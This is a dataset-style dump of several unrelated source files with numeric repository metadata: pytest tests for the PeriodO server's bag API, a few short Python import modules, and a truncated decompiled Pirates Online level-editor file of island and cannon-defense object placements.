1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
6
1d074b0cb2dd3d3832be695b4ae4d4ab29b7a893
6,193
py
Python
test/test_bags.py
periodo/periodo-server
7cd0250cbc6260cdc6f66aa8d95b316d9eaaf9ac
[ "CC0-1.0" ]
9
2015-05-07T07:40:16.000Z
2020-01-13T15:53:01.000Z
test/test_bags.py
periodo/periodo-server
7cd0250cbc6260cdc6f66aa8d95b316d9eaaf9ac
[ "CC0-1.0" ]
118
2015-01-27T21:14:49.000Z
2022-03-18T07:06:14.000Z
test/test_bags.py
periodo/periodo-server
7cd0250cbc6260cdc6f66aa8d95b316d9eaaf9ac
[ "CC0-1.0" ]
1
2015-11-09T10:31:16.000Z
2015-11-09T10:31:16.000Z
import httpx import pytest from rdflib.namespace import Namespace from urllib.parse import urlparse from uuid import UUID from periodo import DEV_SERVER_NAME PERIODO = Namespace("http://n2t.net/ark:/99152/") PROV = Namespace("http://www.w3.org/ns/prov#") @pytest.mark.client_auth_token("this-token-has-normal-permissions") def test_create_bag(active_user, client, load_json): active_user id = UUID("6f2c64e2-c65f-4e2d-b028-f89dfb71ce69") res = client.put(f"/bags/{id}", json=load_json("test-bag.json")) assert res.status_code == httpx.codes.CREATED bag_url = urlparse(res.headers["Location"]) assert bag_url.path == f"/bags/{id}" assert bag_url.query == "version=0" res = client.get(res.headers["Location"]) assert "Last-Modified" in res.headers assert res.headers["Etag"] == ( 'W/"bag-6f2c64e2-c65f-4e2d-b028-f89dfb71ce69-version-0"' ) jsonld = res.json() assert jsonld == load_json("test-bag.jsonld") assert jsonld["@context"] == [ f"http://{DEV_SERVER_NAME}/c", {"@base": "http://n2t.net/ark:/99152/"}, ] res = client.get("/bags/") assert res.status_code == httpx.codes.OK assert res.headers["Content-Type"] == "application/json" assert res.json() == [f"http://{DEV_SERVER_NAME}/bags/{id}"] @pytest.mark.client_auth_token("this-token-has-normal-permissions") def test_if_none_match(active_user, client, load_json): active_user id = UUID("6f2c64e2-c65f-4e2d-b028-f89dfb71ce69") res = client.put(f"/bags/{id}", json=load_json("test-bag.json")) assert res.status_code == httpx.codes.CREATED res = client.get( res.headers["Location"], headers={ "If-None-Match": 'W/"bag-6f2c64e2-c65f-4e2d-b028-f89dfb71ce69-version-0"' }, ) assert res.status_code == httpx.codes.NOT_MODIFIED def test_create_bag_requires_auth(client, load_json): id = UUID("6f2c64e2-c65f-4e2d-b028-f89dfb71ce69") res = client.put(f"/bags/{id}", json=load_json("test-bag.json")) assert res.status_code == httpx.codes.UNAUTHORIZED @pytest.mark.client_auth_token("this-token-has-normal-permissions") def test_create_bag_requires_title(active_user, client, load_json): active_user id = UUID("6f2c64e2-c65f-4e2d-b028-f89dfb71ce69") bag_json = load_json("test-bag.json") del bag_json["title"] res = client.put(f"/bags/{id}", json=bag_json) assert res.status_code == httpx.codes.BAD_REQUEST assert res.json()["message"] == "A bag must have a title" @pytest.mark.client_auth_token("this-token-has-normal-permissions") def test_create_bag_requires_items_array(active_user, client, load_json): active_user id = UUID("6f2c64e2-c65f-4e2d-b028-f89dfb71ce69") bag_json = load_json("test-bag.json") del bag_json["items"] res = client.put(f"/bags/{id}", json=bag_json) assert res.status_code == httpx.codes.BAD_REQUEST assert res.json()["message"] == "A bag must have at least two items" @pytest.mark.client_auth_token("this-token-has-normal-permissions") def test_create_bag_requires_minimum_of_two_items(active_user, client, load_json): active_user id = UUID("6f2c64e2-c65f-4e2d-b028-f89dfb71ce69") bag_json = load_json("test-bag.json") bag_json["items"].pop() res = client.put(f"/bags/{id}", json=bag_json) assert res.status_code == httpx.codes.BAD_REQUEST assert res.json()["message"] == "A bag must have at least two items" @pytest.mark.client_auth_token("this-token-has-normal-permissions") def test_create_bag_requires_items_be_periodo_ids(active_user, client, load_json): active_user id = UUID("6f2c64e2-c65f-4e2d-b028-f89dfb71ce69") bag_json = load_json("test-bag.json") bag_json["items"].append("foobar") res = client.put(f"/bags/{id}", json=bag_json) assert res.status_code == httpx.codes.BAD_REQUEST assert res.json()["message"] == "No resource with key: foobar" @pytest.mark.client_auth_token("this-token-has-normal-permissions") def test_update_bag(active_user, client, load_json): active_user id = UUID("6f2c64e2-c65f-4e2d-b028-f89dfb71ce69") res = client.put(f"/bags/{id}", json=load_json("test-bag.json")) assert res.status_code == httpx.codes.CREATED bag_url_v0 = urlparse(res.headers["Location"]) assert f"/bags/{id}" == bag_url_v0.path assert "version=0" == bag_url_v0.query res = client.put(f"/bags/{id}", json=load_json("test-bag-updated.json")) assert res.status_code == httpx.codes.CREATED bag_url_v1 = urlparse(res.headers["Location"]) assert f"/bags/{id}" == bag_url_v1.path assert "version=1" == bag_url_v1.query res = client.get(f"/bags/{id}") assert res.json() == load_json("test-bag-updated.jsonld") res = client.get(f"/bags/{id}?version=0") assert res.json() == load_json("test-bag.jsonld") res = client.get(f"/bags/{id}?version=1") assert res.json() == load_json("test-bag-updated.jsonld") @pytest.mark.client_auth_token("this-token-has-normal-permissions") def test_create_bag_using_jsonld(active_user, client, load_json): active_user id = UUID("6f2c64e2-c65f-4e2d-b028-f89dfb71ce69") res = client.put(f"/bags/{id}", json=load_json("test-bag.json")) res = client.put(f"/bags/{id}", json=load_json("test-bag-updated.jsonld")) assert res.status_code == httpx.codes.CREATED res = client.get(f"/bags/{id}") assert res.json() == load_json("test-bag-updated.jsonld") res = client.get(f"/bags/{id}?version=0") assert res.json() == load_json("test-bag.jsonld") res = client.get(f"/bags/{id}?version=1") assert res.json() == load_json("test-bag-updated.jsonld") @pytest.mark.client_auth_token("this-token-has-normal-permissions") def test_update_bag_must_be_owner( active_user, admin_user, client, bearer_auth, load_json ): active_user, admin_user id = UUID("6f2c64e2-c65f-4e2d-b028-f89dfb71ce69") res = client.put(f"/bags/{id}", json=load_json("test-bag.json")) res = client.put( f"/bags/{id}", json=load_json("test-bag-updated.jsonld"), auth=bearer_auth("this-token-has-admin-permissions"), ) assert res.status_code == httpx.codes.FORBIDDEN
40.477124
85
0.694332
922
6,193
4.4859
0.125813
0.058027
0.037234
0.072534
0.815039
0.779014
0.746373
0.746373
0.746373
0.725097
0
0.045942
0.142419
6,193
152
86
40.743421
0.732819
0
0
0.48855
0
0
0.298078
0.154368
0
0
0
0
0.267176
1
0.076336
false
0
0.045802
0
0.122137
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
6
df2b2b7273b88ba0e39867300ebff51e4545bb28
43
py
Python
disposable_email_validator/__init__.py
2dlab/disposable-mail-validator
637f00252ce8326e28c469d05094b9fb1707ef53
[ "MIT" ]
1
2021-12-30T09:53:12.000Z
2021-12-30T09:53:12.000Z
disposable_email_validator/__init__.py
2dlab/disposable-mail-validator
637f00252ce8326e28c469d05094b9fb1707ef53
[ "MIT" ]
null
null
null
disposable_email_validator/__init__.py
2dlab/disposable-mail-validator
637f00252ce8326e28c469d05094b9fb1707ef53
[ "MIT" ]
null
null
null
from .validator import is_disposable_email
21.5
42
0.883721
6
43
6
1
0
0
0
0
0
0
0
0
0
0
0
0.093023
43
1
43
43
0.923077
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
1
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
6
10c67b08f1084a84fe29ffa2792f15d6c751df2b
185
py
Python
gino_admin/__init__.py
xnuinside/gino-admin
1789d63c66e808a17b1cd4c96537ba6e64d227db
[ "MIT" ]
36
2020-05-14T14:19:47.000Z
2022-03-20T15:37:47.000Z
gino_admin/__init__.py
xnuinside/gino-admin
1789d63c66e808a17b1cd4c96537ba6e64d227db
[ "MIT" ]
12
2020-05-12T18:18:34.000Z
2021-12-29T18:48:17.000Z
gino_admin/__init__.py
xnuinside/gino_admin
e9535337ac0218efcec62086ba1180c6ffb702ce
[ "MIT" ]
8
2020-05-11T23:22:53.000Z
2022-02-20T18:54:52.000Z
from gino_admin.core import add_admin_panel, create_admin_app # noqa F401 # load routes from gino_admin.routes import crud # noqa F401 from gino_admin.routes import main # noqa F401
37
74
0.805405
31
185
4.580645
0.483871
0.169014
0.274648
0.267606
0.352113
0
0
0
0
0
0
0.057325
0.151351
185
4
75
46.25
0.847134
0.221622
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
0
0
0
null
0
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
6
10ce9554f484a88deaf31400142d1d2bfc86409a
25
py
Python
wsgi.py
tonikarppi/sayhello
d585a5f1d411a1357060883a4214ebf26cf10cbb
[ "MIT" ]
null
null
null
wsgi.py
tonikarppi/sayhello
d585a5f1d411a1357060883a4214ebf26cf10cbb
[ "MIT" ]
null
null
null
wsgi.py
tonikarppi/sayhello
d585a5f1d411a1357060883a4214ebf26cf10cbb
[ "MIT" ]
null
null
null
from sayhello import app
12.5
24
0.84
4
25
5.25
1
0
0
0
0
0
0
0
0
0
0
0
0.16
25
1
25
25
1
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
1
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
6
10e319751ea14922344fd253425df8d69a42e192
28
py
Python
crslab/model/recommendation/bert/__init__.py
hcmus-nlp-chatbot/CRSLab
b3ab262a4ad93cbae98fe66541eb735377768a35
[ "MIT" ]
315
2021-01-05T06:31:57.000Z
2022-03-16T21:12:23.000Z
crslab/model/recommendation/bert/__init__.py
hcmus-nlp-chatbot/CRSLab
b3ab262a4ad93cbae98fe66541eb735377768a35
[ "MIT" ]
23
2021-01-09T05:43:26.000Z
2022-03-28T21:05:49.000Z
crslab/model/recommendation/bert/__init__.py
hcmus-nlp-chatbot/CRSLab
b3ab262a4ad93cbae98fe66541eb735377768a35
[ "MIT" ]
71
2021-01-05T06:31:59.000Z
2022-03-06T06:30:35.000Z
from .bert import BERTModel
14
27
0.821429
4
28
5.75
1
0
0
0
0
0
0
0
0
0
0
0
0.142857
28
1
28
28
0.958333
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
1
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
6
80469fd4a49c2108136fb7ace67e01b43bb58134
54,193
py
Python
pirates/leveleditor/worldData/TortugaCannonIsland.py
itsyaboyrocket/pirates
6ca1e7d571c670b0d976f65e608235707b5737e3
[ "BSD-3-Clause" ]
3
2021-02-25T06:38:13.000Z
2022-03-22T07:00:15.000Z
pirates/leveleditor/worldData/TortugaCannonIsland.py
itsyaboyrocket/pirates
6ca1e7d571c670b0d976f65e608235707b5737e3
[ "BSD-3-Clause" ]
null
null
null
pirates/leveleditor/worldData/TortugaCannonIsland.py
itsyaboyrocket/pirates
6ca1e7d571c670b0d976f65e608235707b5737e3
[ "BSD-3-Clause" ]
1
2021-02-25T06:38:17.000Z
2021-02-25T06:38:17.000Z
# uncompyle6 version 3.2.0 # Python bytecode 2.4 (62061) # Decompiled from: Python 2.7.14 (v2.7.14:84471935ed, Sep 16 2017, 20:19:30) [MSC v.1500 32 bit (Intel)] # Embedded file name: pirates.leveleditor.worldData.TortugaCannonIsland from pandac.PandaModules import Point3, VBase3, Vec4, Vec3 objectStruct = {'Objects': {'1259029424.87akelts': {'Type': 'Island', 'Name': 'TortugaCannonIsland', 'File': '', 'Environment': 'OpenSky', 'Minimap': False, 'Objects': {'1259029471.83akelts': {'Type': 'Locator Node', 'Name': 'portal_exterior_1', 'Hpr': VBase3(-24.42, 0.0, 0.0), 'Pos': Point3(-11.359, 319.908, 27.826), 'Scale': VBase3(1.0, 1.0, 1.0)}, '1259029471.86akelts': {'Type': 'Locator Node', 'Name': 'portal_exterior_2', 'Hpr': VBase3(-152.208, 0.0, 0.0), 'Pos': Point3(409.314, 130.159, 6.616), 'Scale': VBase3(1.0, 1.0, 1.0)}, '1259029471.87akelts': {'Type': 'Locator Node', 'Name': 'portal_exterior_3', 'Hpr': VBase3(-21.783, 0.0, 0.0), 'Pos': Point3(-368.844, 206.493, -0.529), 'Scale': VBase3(1.0, 1.0, 1.0)}, '1259029477.59akelts': {'Type': 'Locator Node', 'Name': 'portal_exterior_1', 'Hpr': VBase3(-24.42, 0.0, 0.0), 'Pos': Point3(-11.359, 319.908, 27.826), 'Scale': VBase3(1.0, 1.0, 1.0)}, '1259029477.62akelts': {'Type': 'Locator Node', 'Name': 'portal_exterior_2', 'Hpr': VBase3(-76.56, 0.0, 0.0), 'Pos': Point3(960.046, 290.095, 37.54), 'Scale': VBase3(1.0, 1.0, 1.0)}, '1259029477.64akelts': {'Type': 'Locator Node', 'Name': 'portal_exterior_3', 'Hpr': VBase3(-68.249, 0.0, 0.0), 'Pos': Point3(1500.08, -65.698, 4.606), 'Scale': VBase3(1.0, 1.0, 1.0)}, '1264434287.73Bill': {'Type': 'Locator Node', 'Name': 'portal_exterior_1', 'Hpr': VBase3(-17.995, 0.0, 0.0), 'Pos': Point3(298.146, -13.465, 5.794), 'Scale': VBase3(1.0, 1.0, 1.0)}, '1264434287.78Bill': {'Type': 'Locator Node', 'Name': 'portal_exterior_3', 'Hpr': VBase3(-68.249, 0.0, 0.0), 'Pos': Point3(1500.08, -65.698, 4.606), 'Scale': VBase3(1.0, 1.0, 1.0)}, '1264434288.72Bill': {'Type': 'Locator Node', 'Name': 'portal_exterior_2', 'Hpr': VBase3(-76.56, 0.0, 0.0), 'Pos': Point3(960.046, 290.095, 37.54), 'Scale': VBase3(1.0, 1.0, 1.0)}, '1264434288.7Bill': {'Type': 'Prop_Island', 'DisableCollision': False, 'Holiday': '', 'Hpr': VBase3(171.87, 0.0, 0.0), 'Pos': Point3(1500.0, -950.0, 0.0), 'Scale': VBase3(1.0, 1.0, 1.0), 'VisSize': 'Large', 'VisZone': '20', 'Visual': {'Model': 'models/islands/pir_m_are_isl_cannon_complementaryIsland'}}, '1264434289.33Bill': {'Type': 'Cannon Defense', 'DisableCollision': False, 'Hpr': VBase3(0.0, 0.0, 0.0), 'Objects': {'1264434289.36Bill': {'Type': 'Player Spawn Node', 'Hpr': VBase3(270.0, 0.0, 0.0), 'Index': -1, 'Pos': Point3(-12.644, 0.43, -0.024), 'Scale': VBase3(1.0, 1.0, 1.0), 'Spawnables': 'All', 'VisSize': '', 'Visual': {'Color': (0.5, 0.5, 0.5, 1), 'Model': 'models/misc/smiley'}}, '1264434289.56Bill': {'Type': 'Defense Cannon', 'GridPos': Point3(-316.0, -553.5, 30.0), 'Hpr': VBase3(270.0, 0.0, 0.0), 'MaxPower': '1.0', 'MinPower': '0.2', 'Pos': Point3(16.0, 7.5, 0.0), 'Scale': VBase3(0.9, 0.9, 0.9), 'VisSize': '', 'Visual': {'Model': 'models/shipparts/cannon_bronze_hi'}}, '1264434289.58Bill': {'Type': 'Defense Cannon', 'GridPos': Point3(-316.0, -568.5, 29.976), 'Hpr': VBase3(270.0, 0.0, 0.0), 'MaxPower': '1.0', 'MinPower': '0.2', 'Pos': Point3(16.0, -7.5, -0.024), 'Scale': VBase3(0.9, 0.9, 0.9), 'VisSize': '', 'Visual': {'Model': 'models/shipparts/cannon_bronze_hi'}}, '1264434289.61Bill': {'Type': 'Defense Cannon', 'GridPos': Point3(-315.363, -583.5, 29.976), 'Hpr': VBase3(270.0, 0.0, 0.0), 'MaxPower': '1.0', 'MinPower': '0.2', 'Pos': Point3(16.637, -22.5, -0.024), 'Scale': VBase3(0.9, 0.9, 0.9), 'VisSize': '', 'Visual': {'Model': 'models/shipparts/cannon_bronze_hi'}}, '1264434289.63Bill': {'Type': 'Defense Cannon', 'GridPos': Point3(-316.0, -538.5, 29.976), 'Hpr': VBase3(270.0, 0.0, 0.0), 'MaxPower': '1.0', 'MinPower': '0.2', 'Pos': Point3(16.0, 22.5, -0.024), 'Scale': VBase3(0.9, 0.9, 0.9), 'VisSize': '', 'Visual': {'Model': 'models/shipparts/cannon_bronze_hi'}}}, 'Pos': Point3(550.0, -525.0, 155.0), 'Scale': VBase3(1.0, 1.0, 1.0), 'VisSize': '', 'Visual': {'Model': 'models/buildings/pir_m_gam_can_cannonOverlay_tortuga'}}, '1265059806.03Bill': {'Type': 'Cannon Defense Movement Node', 'Hpr': Point3(0.0, 0.0, 0.0), 'NodeType': 'None', 'Pos': Point3(812.875, -350.143, 0.0), 'Scale': VBase3(1.0, 1.0, 1.0), 'VisSize': '', 'Visual': {'Color': (0.65, 0, 0, 1), 'Model': 'models/misc/smiley'}}, '1265059806.05Bill': {'Type': 'Cannon Defense Movement Node', 'Hpr': Point3(0.0, 0.0, 0.0), 'NodeType': 'None', 'Pos': Point3(916.946, -348.529, 0.001), 'Scale': VBase3(1.0, 1.0, 1.0), 'VisSize': '', 'Visual': {'Color': (0.65, 0, 0, 1), 'Model': 'models/misc/smiley'}}, '1265059806.06Bill': {'Type': 'Cannon Defense Movement Node', 'Hpr': Point3(0.0, 0.0, 0.0), 'NodeType': 'Mine', 'Pos': Point3(843.573, -333.0, 0.15), 'Scale': VBase3(1.0, 1.0, 1.0), 'VisSize': '', 'Visual': {'Color': (0.65, 0, 0, 1), 'Model': 'models/misc/smiley'}}, '1265059806.08Bill': {'Type': 'Cannon Defense Movement Node', 'Hpr': Point3(0.0, 0.0, 0.0), 'NodeType': 'Wait-Point', 'Pos': Point3(1076.421, -637.579, -0.001), 'Scale': VBase3(1.0, 1.0, 1.0), 'VisSize': '', 'Visual': {'Color': (0.65, 0, 0, 1), 'Model': 'models/misc/smiley'}}, '1265059806.11Bill': {'Type': 'Cannon Defense Movement Node', 'Hpr': Point3(0.0, 0.0, 0.0), 'NodeType': 'None', 'Pos': Point3(958.439, -407.441, 0.0), 'Scale': VBase3(1.0, 1.0, 1.0), 'VisSize': '', 'Visual': {'Color': (0.65, 0, 0, 1), 'Model': 'models/misc/smiley'}}, '1265059806.13Bill': {'Type': 'Cannon Defense Movement Node', 'Hpr': Point3(0.0, 0.0, 0.0), 'NodeType': 'None', 'Pos': Point3(878.613, -331.0, 0.15), 'Scale': VBase3(1.0, 1.0, 1.0), 'VisSize': '', 'Visual': {'Color': (0.65, 0, 0, 1), 'Model': 'models/misc/smiley'}}, '1265059806.14Bill': {'Type': 'Cannon Defense Movement Node', 'Hpr': Point3(0.0, 0.0, 0.0), 'NodeType': 'Spawn', 'Pos': Point3(1022.641, -1011.273, -0.001), 'Scale': VBase3(1.0, 1.0, 1.0), 'VisSize': '', 'Visual': {'Color': (0.65, 0, 0, 1), 'Model': 'models/misc/smiley'}}, '1265059806.16Bill': {'Type': 'Cannon Defense Movement Node', 'Hpr': Point3(0.0, 0.0, 0.0), 'NodeType': 'Depart', 'Pos': Point3(1244.933, -433.01, 0.0), 'Scale': VBase3(1.0, 1.0, 1.0), 'VisSize': '', 'Visual': {'Color': (0.65, 0, 0, 1), 'Model': 'models/misc/smiley'}}, '1265059806.19Bill': {'Type': 'Cannon Defense Movement Node', 'Hpr': Point3(0.0, 0.0, 0.0), 'NodeType': 'None', 'Pos': Point3(1827.716, -144.909, 0.0), 'Scale': VBase3(1.0, 1.0, 1.0), 'VisSize': '', 'Visual': {'Color': (0.65, 0, 0, 1), 'Model': 'models/misc/smiley'}}, '1265059806.23Bill': {'Type': 'Cannon Defense Movement Node', 'Hpr': Point3(0.0, 0.0, 0.0), 'NodeType': 'None', 'Pos': Point3(1938.9, -841.25, 0.0), 'Scale': VBase3(1.0, 1.0, 1.0), 'VisSize': '', 'Visual': {'Color': (0.65, 0, 0, 1), 'Model': 'models/misc/smiley'}}, '1265059806.25Bill': {'Type': 'Cannon Defense Movement Node', 'Hpr': Point3(0.0, 0.0, 0.0), 'NodeType': 'None', 'Pos': Point3(1598.515, -480.157, 0.0), 'Scale': VBase3(1.0, 1.0, 1.0), 'VisSize': '', 'Visual': {'Color': (0.65, 0, 0, 1), 'Model': 'models/misc/smiley'}}, '1265059806.28Bill': {'Type': 'Cannon Defense Movement Node', 'Hpr': Point3(0.0, 0.0, 0.0), 'NodeType': 'None', 'Pos': Point3(825.0, -546.33, 0.0), 'Scale': VBase3(1.0, 1.0, 1.0), 'VisSize': '', 'Visual': {'Color': (0.65, 0, 0, 1), 'Model': 'models/misc/smiley'}}, '1265059806.2Bill': {'Type': 'Cannon Defense Movement Node', 'Hpr': Point3(0.0, 0.0, 0.0), 'NodeType': 'None', 'Pos': Point3(1057.1, -471.589, 0.0), 'Scale': VBase3(1.0, 1.0, 1.0), 'VisSize': '', 'Visual': {'Color': (0.65, 0, 0, 1), 'Model': 'models/misc/smiley'}}, '1265059806.31Bill': {'Type': 'Cannon Defense Movement Node', 'Hpr': Point3(0.0, 0.0, 0.0), 'NodeType': 'None', 'Pos': Point3(1601.81, -545.696, 0.0), 'Scale': VBase3(1.0, 1.0, 1.0), 'VisSize': '', 'Visual': {'Color': (0.65, 0, 0, 1), 'Model': 'models/misc/smiley'}}, '1265059806.33Bill': {'Type': 'Cannon Defense Movement Node', 'Hpr': Point3(0.0, 0.0, 0.0), 'NodeType': 'Mine', 'Pos': Point3(1191.313, -317.655, 0.15), 'Scale': VBase3(1.0, 1.0, 1.0), 'VisSize': '', 'Visual': {'Color': (0.65, 0, 0, 1), 'Model': 'models/misc/smiley'}}, '1265059806.36Bill': {'Type': 'Cannon Defense Movement Node', 'Hpr': Point3(0.0, 0.0, 0.0), 'NodeType': 'Spawn', 'Pos': Point3(770.724, -985.842, 0.0), 'Scale': VBase3(1.0, 1.0, 1.0), 'VisSize': '', 'Visual': {'Color': (0.65, 0, 0, 1), 'Model': 'models/misc/smiley'}}, '1265059806.38Bill': {'Type': 'Cannon Defense Movement Node', 'Hpr': Point3(0.0, 0.0, 0.0), 'NodeType': 'None', 'Pos': Point3(1047.41, -849.467, 0.0), 'Scale': VBase3(1.0, 1.0, 1.0), 'VisSize': '', 'Visual': {'Color': (0.65, 0, 0, 1), 'Model': 'models/misc/smiley'}}, '1265059806.39Bill': {'Type': 'Cannon Defense Movement Node', 'Hpr': Point3(0.0, 0.0, 0.0), 'NodeType': 'Depart', 'Pos': Point3(1301.941, -353.612, 0.1), 'Scale': VBase3(1.0, 1.0, 1.0), 'VisSize': '', 'Visual': {'Color': (0.65, 0, 0, 1), 'Model': 'models/misc/smiley'}}, '1265059806.3Bill': {'Type': 'Cannon Defense Movement Node', 'Hpr': Point3(0.0, 0.0, 0.0), 'NodeType': 'None', 'Pos': Point3(1474.414, -336.733, 0.0), 'Scale': VBase3(1.0, 1.0, 1.0), 'VisSize': '', 'Visual': {'Color': (0.65, 0, 0, 1), 'Model': 'models/misc/smiley'}}, '1265059806.41Bill': {'Type': 'Cannon Defense Movement Node', 'Hpr': Point3(0.0, 0.0, 0.0), 'NodeType': 'Depart', 'Pos': Point3(1247.713, -504.169, 0.0), 'Scale': VBase3(1.0, 1.0, 1.0), 'VisSize': '', 'Visual': {'Color': (0.65, 0, 0, 1), 'Model': 'models/misc/smiley'}}, '1265059806.44Bill': {'Type': 'Cannon Defense Movement Node', 'Hpr': Point3(0.0, 0.0, 0.0), 'NodeType': 'None', 'Pos': Point3(785.76, -715.768, 0.0), 'Scale': VBase3(1.0, 1.0, 1.0), 'VisSize': '', 'Visual': {'Color': (0.65, 0, 0, 1), 'Model': 'models/misc/smiley'}}, '1265059806.47Bill': {'Type': 'Cannon Defense Movement Node', 'Hpr': Point3(0.0, 0.0, 0.0), 'NodeType': 'None', 'Pos': Point3(1894.019, -725.29, 0.0), 'Scale': VBase3(1.0, 1.0, 1.0), 'VisSize': '', 'Visual': {'Color': (0.65, 0, 0, 1), 'Model': 'models/misc/smiley'}}, '1265059806.48Bill': {'Type': 'Cannon Defense Movement Node', 'Hpr': Point3(0.0, 0.0, 0.0), 'NodeType': 'None', 'Pos': Point3(667.699, -837.218, 0.0), 'Scale': VBase3(1.0, 1.0, 1.0), 'VisSize': '', 'Visual': {'Color': (0.65, 0, 0, 1), 'Model': 'models/misc/smiley'}}, '1265059806.52Bill': {'Type': 'Cannon Defense Movement Node', 'Hpr': Point3(0.0, 0.0, 0.0), 'NodeType': 'None', 'Pos': Point3(1121.793, -444.43, 0.0), 'Scale': VBase3(1.0, 1.0, 1.0), 'VisSize': '', 'Visual': {'Color': (0.65, 0, 0, 1), 'Model': 'models/misc/smiley'}}, '1265059806.53Bill': {'Type': 'Cannon Defense Movement Node', 'Hpr': Point3(0.0, 0.0, 0.0), 'NodeType': 'None', 'Pos': Point3(735.982, -761.265, 0.0), 'Scale': VBase3(1.0, 1.0, 1.0), 'VisSize': '', 'Visual': {'Color': (0.65, 0, 0, 1), 'Model': 'models/misc/smiley'}}, '1265059806.56Bill': {'Type': 'Cannon Defense Movement Node', 'Hpr': Point3(0.0, 0.0, 0.0), 'NodeType': 'None', 'Pos': Point3(1119.652, -374.101, 0.0), 'Scale': VBase3(1.0, 1.0, 1.0), 'VisSize': '', 'Visual': {'Color': (0.65, 0, 0, 1), 'Model': 'models/misc/smiley'}}, '1265059806.58Bill': {'Type': 'Cannon Defense Movement Node', 'Hpr': Point3(0.0, 0.0, 0.0), 'NodeType': 'Mine', 'Pos': Point3(1011.845, -331.545, 0.15), 'Scale': VBase3(1.0, 1.0, 1.0), 'VisSize': '', 'Visual': {'Color': (0.65, 0, 0, 1), 'Model': 'models/misc/smiley'}}, '1265059806.59Bill': {'Type': 'Cannon Defense Movement Node', 'Hpr': Point3(0.0, 0.0, 0.0), 'NodeType': 'None', 'Pos': Point3(1817.723, -618.976, 0.0), 'Scale': VBase3(1.0, 1.0, 1.0), 'VisSize': '', 'Visual': {'Color': (0.65, 0, 0, 1), 'Model': 'models/misc/smiley'}}, '1265059806.61Bill': {'Type': 'Cannon Defense Movement Node', 'Hpr': Point3(0.0, 0.0, 0.0), 'NodeType': 'None', 'Pos': Point3(1840.987, -4.864, 0.0), 'Scale': VBase3(1.0, 1.0, 1.0), 'VisSize': '', 'Visual': {'Color': (0.65, 0, 0, 1), 'Model': 'models/misc/smiley'}}, '1265059806.64Bill': {'Type': 'Cannon Defense Movement Node', 'Hpr': Point3(0.0, 0.0, 0.0), 'NodeType': 'Wait-Point', 'Pos': Point3(819.47, -477.565, 0.0), 'Scale': VBase3(1.0, 1.0, 1.0), 'VisSize': '', 'Visual': {'Color': (0.65, 0, 0, 1), 'Model': 'models/misc/smiley'}}, '1265059806.66Bill': {'Type': 'Cannon Defense Movement Node', 'Hpr': Point3(0.0, 0.0, 0.0), 'NodeType': 'None', 'Pos': Point3(1079.439, -335.657, 0.15), 'Scale': VBase3(1.0, 1.0, 1.0), 'VisSize': '', 'Visual': {'Color': (0.65, 0, 0, 1), 'Model': 'models/misc/smiley'}}, '1265059806.69Bill': {'Type': 'Cannon Defense Movement Node', 'Hpr': Point3(0.0, 0.0, 0.0), 'NodeType': 'None', 'Pos': Point3(812.89, -650.16, 0.0), 'Scale': VBase3(1.0, 1.0, 1.0), 'VisSize': '', 'Visual': {'Color': (0.65, 0, 0, 1), 'Model': 'models/misc/smiley'}}, '1265059806.81Bill': {'Type': 'Cannon Defense Movement Node', 'Hpr': Point3(0.0, 0.0, 0.0), 'NodeType': 'None', 'Pos': Point3(795.0, -384.0, 0.0), 'Scale': VBase3(1.0, 1.0, 1.0), 'VisSize': '', 'Visual': {'Color': (0.65, 0, 0, 1), 'Model': 'models/misc/smiley'}}, '1265059806.83Bill': {'Type': 'Cannon Defense Movement Node', 'Hpr': Point3(0.0, 0.0, 0.0), 'NodeType': 'None', 'Pos': Point3(862.931, -886.222, 0.0), 'Scale': VBase3(1.0, 1.0, 1.0), 'VisSize': '', 'Visual': {'Color': (0.65, 0, 0, 1), 'Model': 'models/misc/smiley'}}, '1265059806.86Bill': {'Type': 'Cannon Defense Movement Node', 'Hpr': Point3(0.0, 0.0, 0.0), 'NodeType': 'None', 'Pos': Point3(825.63, -507.123, 0.0), 'Scale': VBase3(1.0, 1.0, 1.0), 'VisSize': '', 'Visual': {'Color': (0.65, 0, 0, 1), 'Model': 'models/misc/smiley'}}, '1265059806.89Bill': {'Type': 'Cannon Defense Movement Node', 'Hpr': Point3(0.0, 0.0, 0.0), 'NodeType': 'None', 'Pos': Point3(984.03, -374.188, 0.0), 'Scale': VBase3(1.0, 1.0, 1.0), 'VisSize': '', 'Visual': {'Color': (0.65, 0, 0, 1), 'Model': 'models/misc/smiley'}}, '1265059806.8Bill': {'Type': 'Cannon Defense Movement Node', 'Hpr': Point3(0.0, 0.0, 0.0), 'NodeType': 'None', 'Pos': Point3(1639.229, -191.206, 0.0), 'Scale': VBase3(1.0, 1.0, 1.0), 'VisSize': '', 'Visual': {'Color': (0.65, 0, 0, 1), 'Model': 'models/misc/smiley'}}, '1265059806.91Bill': {'Type': 'Cannon Defense Movement Node', 'Hpr': Point3(0.0, 0.0, 0.0), 'NodeType': 'None', 'Pos': Point3(801.4, -416.653, 0.0), 'Scale': VBase3(1.0, 1.0, 1.0), 'VisSize': '', 'Visual': {'Color': (0.65, 0, 0, 1), 'Model': 'models/misc/smiley'}}, '1265059806.92Bill': {'Type': 'Cannon Defense Movement Node', 'Hpr': Point3(0.0, 0.0, 0.0), 'NodeType': 'None', 'Pos': Point3(1731.352, -402.374, 0.0), 'Scale': VBase3(1.0, 1.0, 1.0), 'VisSize': '', 'Visual': {'Color': (0.65, 0, 0, 1), 'Model': 'models/misc/smiley'}}, '1265059806.94Bill': 